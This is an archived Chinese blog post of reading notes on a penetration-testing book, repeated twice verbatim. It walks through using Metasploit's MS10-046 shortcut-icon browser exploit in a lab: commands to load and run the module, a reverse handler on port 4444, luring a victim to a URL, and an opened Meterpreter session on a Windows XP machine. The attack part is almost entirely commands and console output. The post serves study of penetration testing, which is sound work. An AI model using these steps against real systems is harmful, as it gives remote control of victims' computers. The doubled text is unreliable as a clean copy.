[历史归档]本文原发布于 cstriker1407.info 个人博客内容为历史存档仅供参考。发布时间2014-06-05 标题某《魔鬼训练营》读书笔记metasploit渗透浏览器分类操作系统 / 安全 标签metasploit·浏览器渗透某《魔鬼训练营》读书笔记metasploit渗透浏览器笔记仅供学习交流使用请勿进行其他用途Metasploit自带了很多浏览器攻击模块这里笔记下最简单的使用方式。rootkali:~# msfconsole。。。。。。 。。。。。。 msfsearch browser#搜索可用模块Matching ModulesName Disclosure Date Rank Description ---- --------------- ---- ----------- 。。。。。。 。。。。。。 msfuse exploit/windows/browser/ms10_046_shortcut_icon_dllloader#这里使用一个比较新的渗透攻击模块msf exploit(ms10_046_shortcut_icon_dllloader)show options Module options(exploit/windows/browser/ms10_046_shortcut_icon_dllloader): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST0.0.0.0yesThelocalhostto listen on. This must be an address on thelocalmachine or0.0.0.0 SRVPORT80yesThe daemon port to listen on(do not change)SSLCert no Path to a custom SSL certificate(default is randomly generated)UNCHOST no Thehostportion of the UNC path to provide to clients(ex:1.2.3.4). URIPATH /yesThe URI to use(do not change). Exploit target: Id Name -- ----0Automatic msf exploit(ms10_046_shortcut_icon_dllloader)exploit[*]Exploit running as background job.[*]Started reverse handler on192.168.19.128:4444 msf exploit(ms10_046_shortcut_icon_dllloader)[*]Send vulnerable clients to\\192.168.19.128\qKJqXZCIry\.[*]Or, get clients to save and render the icon of http://your host/anything.lnk[*]Using URL: http://0.0.0.0:80/[*]Local IP: http://192.168.19.128:80/# 当别人通过浏览器访问【 http://192.168.19.128:80/ 】时就会触发漏洞启动一个meterperter如下。。。。。。 。。。。。。[*]Meterpreter session1opened(192.168.19.128:4444 -192.168.19.129:1106)at2014-06-0420:56:32 0800 msf exploit(ms10_046_shortcut_icon_dllloader)sessions Active sessionsId Type Information Connection -- ---- ----------- ----------1meterpreter x86/win32 WINXP-PRO-VM\Administrator WINXP-PRO-VM192.168.19.128:4444 -192.168.19.129:1106(192.168.19.129)msf exploit(ms10_046_shortcut_icon_dllloader)sessions-i1[*]Starting interaction with1... meterpretersysinfo Computer:WINXP-PRO-VM OS:Windows XP(Build2600, Service Pack2). Architecture:x86 System Language:zh_CN Meterpreter:x86/win32 meterpreter
[历史归档]本文原发布于 cstriker1407.info 个人博客内容为历史存档仅供参考。发布时间2014-06-05 标题某《魔鬼训练营》读书笔记metasploit渗透浏览器分类操作系统 / 安全 标签metasploit·浏览器渗透某《魔鬼训练营》读书笔记metasploit渗透浏览器笔记仅供学习交流使用请勿进行其他用途Metasploit自带了很多浏览器攻击模块这里笔记下最简单的使用方式。rootkali:~# msfconsole。。。。。。 。。。。。。 msfsearch browser#搜索可用模块Matching ModulesName Disclosure Date Rank Description ---- --------------- ---- ----------- 。。。。。。 。。。。。。 msfuse exploit/windows/browser/ms10_046_shortcut_icon_dllloader#这里使用一个比较新的渗透攻击模块msf exploit(ms10_046_shortcut_icon_dllloader)show options Module options(exploit/windows/browser/ms10_046_shortcut_icon_dllloader): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST0.0.0.0yesThelocalhostto listen on. This must be an address on thelocalmachine or0.0.0.0 SRVPORT80yesThe daemon port to listen on(do not change)SSLCert no Path to a custom SSL certificate(default is randomly generated)UNCHOST no Thehostportion of the UNC path to provide to clients(ex:1.2.3.4). URIPATH /yesThe URI to use(do not change). Exploit target: Id Name -- ----0Automatic msf exploit(ms10_046_shortcut_icon_dllloader)exploit[*]Exploit running as background job.[*]Started reverse handler on192.168.19.128:4444 msf exploit(ms10_046_shortcut_icon_dllloader)[*]Send vulnerable clients to\\192.168.19.128\qKJqXZCIry\.[*]Or, get clients to save and render the icon of http://your host/anything.lnk[*]Using URL: http://0.0.0.0:80/[*]Local IP: http://192.168.19.128:80/# 当别人通过浏览器访问【 http://192.168.19.128:80/ 】时就会触发漏洞启动一个meterperter如下。。。。。。 。。。。。。[*]Meterpreter session1opened(192.168.19.128:4444 -192.168.19.129:1106)at2014-06-0420:56:32 0800 msf exploit(ms10_046_shortcut_icon_dllloader)sessions Active sessionsId Type Information Connection -- ---- ----------- ----------1meterpreter x86/win32 WINXP-PRO-VM\Administrator WINXP-PRO-VM192.168.19.128:4444 -192.168.19.129:1106(192.168.19.129)msf exploit(ms10_046_shortcut_icon_dllloader)sessions-i1[*]Starting interaction with1... meterpretersysinfo Computer:WINXP-PRO-VM OS:Windows XP(Build2600, Service Pack2). Architecture:x86 System Language:zh_CN Meterpreter:x86/win32 meterpreter
)
